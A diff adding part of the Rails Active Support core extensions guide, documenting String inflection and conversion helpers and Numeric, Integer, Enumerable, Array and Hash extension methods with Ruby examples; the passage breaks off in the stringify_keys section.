+As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `classify`
+
+The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name:
+
+```ruby
+"people".classify # => "Person"
+"invoices".classify # => "Invoice"
+"invoice_lines".classify # => "InvoiceLine"
+```
+
+The method understands qualified table names:
+
+```ruby
+"highrise_production.companies".classify # => "Company"
+```
+
+Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `constantize`
+
+The method `constantize` resolves the constant reference expression in its receiver:
+
+```ruby
+"Fixnum".constantize # => Fixnum
+
+module M
+ X = 1
+end
+"M::X".constantize # => 1
+```
+
+If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`.
+
+Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::".
+
+```ruby
+X = :in_Object
+module M
+ X = :in_M
+
+ X # => :in_M
+ "::X".constantize # => :in_Object
+ "X".constantize # => :in_Object (!)
+end
+```
+
+So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
+
+Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`:
+
+```ruby
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+ name.sub(/Test$/, '').constantize
+rescue NameError => e
+ raise NonInferrableMailerError.new(name)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `humanize`
+
+The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
+
+```ruby
+"name".humanize # => "Name"
+"author_id".humanize # => "Author"
+"comments_count".humanize # => "Comments count"
+```
+
+The helper method `full_messages` uses `humanize` as a fallback to include attribute names:
+
+```ruby
+def full_messages
+ full_messages = []
+
+ each do |attribute, messages|
+ ...
+ attr_name = attribute.to_s.gsub('.', '_').humanize
+ attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+ ...
+ end
+
+ full_messages
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `foreign_key`
+
+The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
+
+```ruby
+"User".foreign_key # => "user_id"
+"InvoiceLine".foreign_key # => "invoice_line_id"
+"Admin::Session".foreign_key # => "session_id"
+```
+
+Pass a false argument if you do not want the underscore in "_id":
+
+```ruby
+"User".foreign_key(false) # => "userid"
+```
+
+Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this:
+
+```ruby
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+### Conversions
+
+#### `to_date`, `to_time`, `to_datetime`
+
+The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`:
+
+```ruby
+"2010-07-27".to_date # => Tue, 27 Jul 2010
+"2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010
+"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
+```
+
+`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in:
+
+```ruby
+"2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010
+"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
+```
+
+Default is `:utc`.
+
+Please refer to the documentation of `Date._parse` for further details.
+
+INFO: The three of them return `nil` for blank receivers.
+
+NOTE: Defined in `active_support/core_ext/string/conversions.rb`.
+
+Extensions to `Numeric`
+-----------------------
+
+### Bytes
+
+All numbers respond to these methods:
+
+```ruby
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+```
+
+They return the corresponding amount of bytes, using a conversion factor of 1024:
+
+```ruby
+2.kilobytes # => 2048
+3.megabytes # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes # => -4611686018427387904
+```
+
+Singular forms are aliased so you are able to say:
+
+```ruby
+1.megabyte # => 1048576
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`.
+
+### Time
+
+Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`.
+
+These methods use Time#advance for precise date calculations when using from_now, ago, etc.
+as well as adding or subtracting their results from a Time object. For example:
+
+```ruby
+# equivalent to Time.current.advance(months: 1)
+1.month.from_now
+
+# equivalent to Time.current.advance(years: 2)
+2.years.from_now
+
+# equivalent to Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
+```
+
+While these methods provide precise calculation when used as in the examples above, care
+should be taken to note that this is not true if the result of `months', `years', etc is
+converted before use:
+
+```ruby
+# equivalent to 30.days.to_i.from_now
+1.month.to_i.from_now
+
+# equivalent to 365.25.days.to_f.from_now
+1.year.to_f.from_now
+```
+
+In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and
+[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision
+date and time arithmetic.
+
+NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
+
+### Formatting
+
+Enables the formatting of numbers in a variety of ways.
+
+Produce a string representation of a number as a telephone number:
+
+```ruby
+5551234.to_s(:phone)
+# => 555-1234
+1235551234.to_s(:phone)
+# => 123-555-1234
+1235551234.to_s(:phone, area_code: true)
+# => (123) 555-1234
+1235551234.to_s(:phone, delimiter: " ")
+# => 123 555 1234
+1235551234.to_s(:phone, area_code: true, extension: 555)
+# => (123) 555-1234 x 555
+1235551234.to_s(:phone, country_code: 1)
+# => +1-123-555-1234
+```
+
+Produce a string representation of a number as currency:
+
+```ruby
+1234567890.50.to_s(:currency) # => $1,234,567,890.50
+1234567890.506.to_s(:currency) # => $1,234,567,890.51
+1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506
+```
+
+Produce a string representation of a number as a percentage:
+
+```ruby
+100.to_s(:percentage)
+# => 100.000%
+100.to_s(:percentage, precision: 0)
+# => 100%
+1000.to_s(:percentage, delimiter: '.', separator: ',')
+# => 1.000,000%
+302.24398923423.to_s(:percentage, precision: 5)
+# => 302.24399%
+```
+
+Produce a string representation of a number in delimited form:
+
+```ruby
+12345678.to_s(:delimited) # => 12,345,678
+12345678.05.to_s(:delimited) # => 12,345,678.05
+12345678.to_s(:delimited, delimiter: ".") # => 12.345.678
+12345678.to_s(:delimited, delimiter: ",") # => 12,345,678
+12345678.05.to_s(:delimited, separator: " ") # => 12,345,678 05
+```
+
+Produce a string representation of a number rounded to a precision:
+
+```ruby
+111.2345.to_s(:rounded) # => 111.235
+111.2345.to_s(:rounded, precision: 2) # => 111.23
+13.to_s(:rounded, precision: 5) # => 13.00000
+389.32314.to_s(:rounded, precision: 0) # => 389
+111.2345.to_s(:rounded, significant: true) # => 111
+```
+
+Produce a string representation of a number as a human-readable number of bytes:
+
+```ruby
+123.to_s(:human_size) # => 123 Bytes
+1234.to_s(:human_size) # => 1.21 KB
+12345.to_s(:human_size) # => 12.1 KB
+1234567.to_s(:human_size) # => 1.18 MB
+1234567890.to_s(:human_size) # => 1.15 GB
+1234567890123.to_s(:human_size) # => 1.12 TB
+```
+
+Produce a string representation of a number in human-readable words:
+
+```ruby
+123.to_s(:human) # => "123"
+1234.to_s(:human) # => "1.23 Thousand"
+12345.to_s(:human) # => "12.3 Thousand"
+1234567.to_s(:human) # => "1.23 Million"
+1234567890.to_s(:human) # => "1.23 Billion"
+1234567890123.to_s(:human) # => "1.23 Trillion"
+1234567890123456.to_s(:human) # => "1.23 Quadrillion"
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`.
+
+Extensions to `Integer`
+-----------------------
+
+### `multiple_of?`
+
+The method `multiple_of?` tests whether an integer is multiple of the argument:
+
+```ruby
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/integer/multiple.rb`.
+
+### `ordinal`
+
+The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer:
+
+```ruby
+1.ordinal # => "st"
+2.ordinal # => "nd"
+53.ordinal # => "rd"
+2009.ordinal # => "th"
+-21.ordinal # => "st"
+-134.ordinal # => "th"
+```
+
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+
+### `ordinalize`
+
+The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string.
+
+```ruby
+1.ordinalize # => "1st"
+2.ordinalize # => "2nd"
+53.ordinalize # => "53rd"
+2009.ordinalize # => "2009th"
+-21.ordinalize # => "-21st"
+-134.ordinalize # => "-134th"
+```
+
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+
+Extensions to `BigDecimal`
+--------------------------
+
+...
+
+Extensions to `Enumerable`
+--------------------------
+
+### `sum`
+
+The method `sum` adds the elements of an enumerable:
+
+```ruby
+[1, 2, 3].sum # => 6
+(1..100).sum # => 5050
+```
+
+Addition only assumes the elements respond to `+`:
+
+```ruby
+[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum # => "foobarbaz"
+{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1]
+```
+
+The sum of an empty collection is zero by default, but this is customizable:
+
+```ruby
+[].sum # => 0
+[].sum(1) # => 1
+```
+
+If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values:
+
+```ruby
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum # => 30
+```
+
+The sum of an empty receiver can be customized in this form as well:
+
+```ruby
+[].sum(1) {|n| n**3} # => 1
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `index_by`
+
+The method `index_by` generates a hash with the elements of an enumerable indexed by some key.
+
+It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
+
+```ruby
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+```
+
+WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `many?`
+
+The method `many?` is shorthand for `collection.size > 1`:
+
+```erb
+<% if pages.many? %>
+ <%= pagination_links %>
+<% end %>
+```
+
+If an optional block is given, `many?` only takes into account those elements that return true:
+
+```ruby
+ at see_more = videos.many? {|video| video.category == params[:category]}
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `exclude?`
+
+The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:
+
+```ruby
+to_visit << node if visited.exclude?(node)
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+Extensions to `Array`
+---------------------
+
+### Accessing
+
+Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index:
+
+```ruby
+%w(a b c d).to(2) # => %w(a b c)
+[].to(7) # => []
+```
+
+Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
+
+```ruby
+%w(a b c d).from(2) # => %w(c d)
+%w(a b c d).from(10) # => []
+[].from(0) # => []
+```
+
+The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element (`first` is built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available.
+
+```ruby
+%w(a b c d).third # => c
+%w(a b c d).fifth # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/array/access.rb`.
+
+### Adding Elements
+
+#### `prepend`
+
+This method is an alias of `Array#unshift`.
+
+```ruby
+%w(a b c d).prepend('e') # => %w(e a b c d)
+[].prepend(10) # => [10]
+```
+
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+
+#### `append`
+
+This method is an alias of `Array#<<`.
+
+```ruby
+%w(a b c d).append('e') # => %w(a b c d e)
+[].append([1,2]) # => [[1,2]]
+```
+
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+
+### Options Extraction
+
+When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets:
+
+```ruby
+User.exists?(email: params[:email])
+```
+
+That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
+
+If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
+
+In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
+
+Let's see for example the definition of the `caches_action` controller macro:
+
+```ruby
+def caches_action(*actions)
+ return unless cache_configured?
+ options = actions.extract_options!
+ ...
+end
+```
+
+This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way.
+
+NOTE: Defined in `active_support/core_ext/array/extract_options.rb`.
+
+### Conversions
+
+#### `to_sentence`
+
+The method `to_sentence` turns an array into a string containing a sentence that enumerates its items:
+
+```ruby
+%w().to_sentence # => ""
+%w(Earth).to_sentence # => "Earth"
+%w(Earth Wind).to_sentence # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+```
+
+This method accepts three options:
+
+* `:two_words_connector`: What is used for arrays of length 2. Default is " and ".
+* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
+* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
+
+The defaults for these options can be localized, their keys are:
+
+| Option | I18n key |
+| ---------------------- | ----------------------------------- |
+| `:two_words_connector` | `support.array.two_words_connector` |
+| `:words_connector` | `support.array.words_connector` |
+| `:last_word_connector` | `support.array.last_word_connector` |
+
+Options `:connector` and `:skip_last_comma` are deprecated.
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+#### `to_formatted_s`
+
+The method `to_formatted_s` acts like `to_s` by default.
+
+If the array contains items that respond to `id`, however, it may be passed the symbol `:db` as argument. That's typically used with collections of ARs. Returned strings are:
+
+```ruby
+[].to_formatted_s(:db) # => "null"
+[user].to_formatted_s(:db) # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+```
+
+Integers in the example above are supposed to come from the respective calls to `id`.
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+#### `to_xml`
+
+The method `to_xml` returns a string containing an XML representation of its receiver:
+
+```ruby
+Contributor.limit(2).order(:rank).to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+# <contributor>
+# <id type="integer">4356</id>
+# <name>Jeremy Kemper</name>
+# <rank type="integer">1</rank>
+# <url-id>jeremy-kemper</url-id>
+# </contributor>
+# <contributor>
+# <id type="integer">4404</id>
+# <name>David Heinemeier Hansson</name>
+# <rank type="integer">2</rank>
+# <url-id>david-heinemeier-hansson</url-id>
+# </contributor>
+# </contributors>
+```
+
+To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise.
+
+By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors".
+
+If there's any element that does not belong to the type of the first one the root node becomes "objects":
+
+```ruby
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+# <object>
+# <id type="integer">4583</id>
+# <name>Aaron Batalion</name>
+# <rank type="integer">53</rank>
+# <url-id>aaron-batalion</url-id>
+# </object>
+# <object>
+# <author>Joshua Peek</author>
+# <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+# <branch>origin/master</branch>
+# <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+# <committer>Joshua Peek</committer>
+# <git-show nil="true"></git-show>
+# <id type="integer">190316</id>
+# <imported-from-svn type="boolean">false</imported-from-svn>
+# <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+# </object>
+# </objects>
+```
+
+If the receiver is an array of hashes the root element is by default also "objects":
+
+```ruby
+[{a: 1, b: 2}, {c: 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+# <object>
+# <b type="integer">2</b>
+# <a type="integer">1</a>
+# </object>
+# <object>
+# <c type="integer">3</c>
+# </object>
+# </objects>
+```
+
+WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element.
+
+The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names.
+
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder:
+
+```ruby
+Contributor.limit(2).order(:rank).to_xml(skip_types: true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+# <contributor>
+# <id>4356</id>
+# <name>Jeremy Kemper</name>
+# <rank>1</rank>
+# <url-id>jeremy-kemper</url-id>
+# </contributor>
+# <contributor>
+# <id>4404</id>
+# <name>David Heinemeier Hansson</name>
+# <rank>2</rank>
+# <url-id>david-heinemeier-hansson</url-id>
+# </contributor>
+# </contributors>
+```
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+### Wrapping
+
+The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like).
+
+Specifically:
+
+* If the argument is `nil` an empty list is returned.
+* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned.
+* Otherwise, an array with the argument as its single element is returned.
+
+```ruby
+Array.wrap(nil) # => []
+Array.wrap([1, 2, 3]) # => [1, 2, 3]
+Array.wrap(0) # => [0]
+```
+
+This method is similar in purpose to `Kernel#Array`, but there are some differences:
+
+* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns `nil` right away.
+* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
+* It does not call `to_a` on the argument, though special-cases `nil` to return an empty array.
+
+The last point is particularly worth comparing for some enumerables:
+
+```ruby
+Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+Array(foo: :bar) # => [[:foo, :bar]]
+```
+
+There's also a related idiom that uses the splat operator:
+
+```ruby
+[*object]
+```
+
+which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
+
+Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s.
+
+NOTE: Defined in `active_support/core_ext/array/wrap.rb`.
+
+### Duplicating
+
+The method `Array.deep_dup` duplicates itself and all objects inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside.
+
+```ruby
+array = [1, [2, 3]]
+dup = array.deep_dup
+dup[1][2] = 4
+array[1][2] == nil # => true
+```
+
+NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`.
+
+### Grouping
+
+#### `in_groups_of(number, fill_with = nil)`
+
+The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups:
+
+```ruby
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+```
+
+or yields them in turn if a block is passed:
+
+```html+erb
+<% sample.in_groups_of(3) do |a, b, c| %>
+ <tr>
+ <td><%= a %></td>
+ <td><%= b %></td>
+ <td><%= c %></td>
+ </tr>
+<% end %>
+```
+
+The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:
+
+```ruby
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+```
+
+And you can tell the method not to fill the last group passing `false`:
+
+```ruby
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+```
+
+As a consequence `false` can't be a used as a padding value.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+#### `in_groups(number, fill_with = nil)`
+
+The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+```
+
+or yields them in turn if a block is passed:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+```
+
+The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
+
+You can change this padding value using the second optional argument:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+```
+
+And you can tell the method not to fill the smaller groups passing `false`:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+```
+
+As a consequence `false` can't be a used as a padding value.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+#### `split(value = nil)`
+
+The method `split` divides an array by a separator and returns the resulting chunks.
+
+If a block is passed the separators are those elements of the array for which the block returns true:
+
+```ruby
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+```
+
+Otherwise, the value received as argument, which defaults to `nil`, is the separator:
+
+```ruby
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+```
+
+TIP: Observe in the previous example that consecutive separators result in empty arrays.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+Extensions to `Hash`
+--------------------
+
+### Conversions
+
+#### `to_xml`
+
+The method `to_xml` returns a string containing an XML representation of its receiver:
+
+```ruby
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+# <foo type="integer">1</foo>
+# <bar type="integer">2</bar>
+# </hash>
+```
+
+To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair `key`, `value`:
+
+* If `value` is a hash there's a recursive call with `key` as `:root`.
+
+* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`.
+
+* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node.
+
+* If `value` responds to `to_xml` the method is invoked with `key` as `:root`.
+
+* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping:
+
+```ruby
+XML_TYPE_NAMES = {
+ "Symbol" => "symbol",
+ "Fixnum" => "integer",
+ "Bignum" => "integer",
+ "BigDecimal" => "decimal",
+ "Float" => "float",
+ "TrueClass" => "boolean",
+ "FalseClass" => "boolean",
+ "Date" => "date",
+ "DateTime" => "datetime",
+ "Time" => "datetime"
+}
+```
+
+By default the root node is "hash", but that's configurable via the `:root` option.
+
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder.
+
+NOTE: Defined in `active_support/core_ext/hash/conversions.rb`.
+
+### Merging
+
+Ruby has a built-in method `Hash#merge` that merges two hashes:
+
+```ruby
+{a: 1, b: 1}.merge(a: 0, c: 2)
+# => {:a=>0, :b=>1, :c=>2}
+```
+
+Active Support defines a few more ways of merging hashes that may be convenient.
+
+#### `reverse_merge` and `reverse_merge!`
+
+In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom:
+
+```ruby
+options = {length: 30, omission: "..."}.merge(options)
+```
+
+Active Support defines `reverse_merge` in case you prefer this alternative notation:
+
+```ruby
+options = options.reverse_merge(length: 30, omission: "...")
+```
+
+And a bang version `reverse_merge!` that performs the merge in place:
+
+```ruby
+options.reverse_merge!(length: 30, omission: "...")
+```
+
+WARNING. Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea.
+
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
+
+#### `reverse_update`
+
+The method `reverse_update` is an alias for `reverse_merge!`, explained above.
+
+WARNING. Note that `reverse_update` has no bang.
+
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
+
+#### `deep_merge` and `deep_merge!`
+
+As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
+
+Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
+
+```ruby
+{a: {b: 1}}.deep_merge(a: {c: 2})
+# => {:a=>{:b=>1, :c=>2}}
+```
+
+The method `deep_merge!` performs a deep merge in place.
+
+NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`.
+
+### Deep duplicating
+
+The method `Hash.deep_dup` duplicates itself and all keys and values inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.
+
+```ruby
+hash = { a: 1, b: { c: 2, d: [3, 4] } }
+
+dup = hash.deep_dup
+dup[:b][:e] = 5
+dup[:b][:d] << 5
+
+hash[:b][:e] == nil # => true
+hash[:b][:d] == [3, 4] # => true
+```
+
+NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`.
+
+### Diffing
+
+The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic:
+
+* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash.
+
+* If both hashes have `key`, but with different values, the pair in the receiver wins.
+
+* The rest is just merged.
+
+```ruby
+{a: 1}.diff(a: 1)
+# => {}, first rule
+
+{a: 1}.diff(a: 2)
+# => {:a=>1}, second rule
+
+{a: 1}.diff(b: 2)
+# => {:a=>1, :b=>2}, third rule
+
+{a: 1, b: 2, c: 3}.diff(b: 1, c: 3, d: 4)
+# => {:a=>1, :b=>2, :d=>4}, all rules
+
+{}.diff({}) # => {}
+{a: 1}.diff({}) # => {:a=>1}
+{}.diff(a: 1) # => {:a=>1}
+```
+
+An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice:
+
+```ruby
+hash.diff(hash2).diff(hash2) == hash
+```
+
+Diffing hashes may be useful for error messages related to expected option hashes for example.
+
+NOTE: Defined in `active_support/core_ext/hash/diff.rb`.
+
+### Working with Keys
+
+#### `except` and `except!`
+
+The method `except` returns a hash with the keys in the argument list removed, if present:
+
+```ruby
+{a: 1, b: 2}.except(:a) # => {:b=>2}
+```
+
+If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance:
+
+```ruby
+{a: 1}.with_indifferent_access.except(:a) # => {}
+{a: 1}.with_indifferent_access.except("a") # => {}
+```
+
+There's also the bang variant `except!` that removes keys in the very receiver.
+
+NOTE: Defined in `active_support/core_ext/hash/except.rb`.
+
+#### `transform_keys` and `transform_keys!`
+
+The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
+
+```ruby
+{nil => nil, 1 => 1, a: :a}.transform_keys{ |key| key.to_s.upcase }
+# => {"" => nil, "A" => :a, "1" => 1}
+```
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.transform_keys{ |key| key.to_s.upcase }
+# => {"A" => 2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
+
+```ruby
+def stringify_keys
+ transform_keys{ |key| key.to_s }
+end
+...
+def symbolize_keys
+ transform_keys{ |key| key.to_sym rescue key }
+end
+```
+
+There's also the bang variant `transform_keys!` that applies the block operations to keys in the very receiver.
+
+Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase }
+# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `stringify_keys` and `stringify_keys!`
+
+The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:
+
+```ruby
+{nil => nil, 1 => 1, a: :a}.stringify_keys
+# => {"" => nil, "a" => :a, "1" => 1}
+```
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.stringify_keys
+# => {"a" => 2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
+
+```ruby
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+ options = options.stringify_keys
+ options["type"] = "checkbox"
+ ...
+end
+```
+
+The second line can safely access the "type" key, and let the user to pass either `:type` or "type".
+
+There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver.
+
+Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
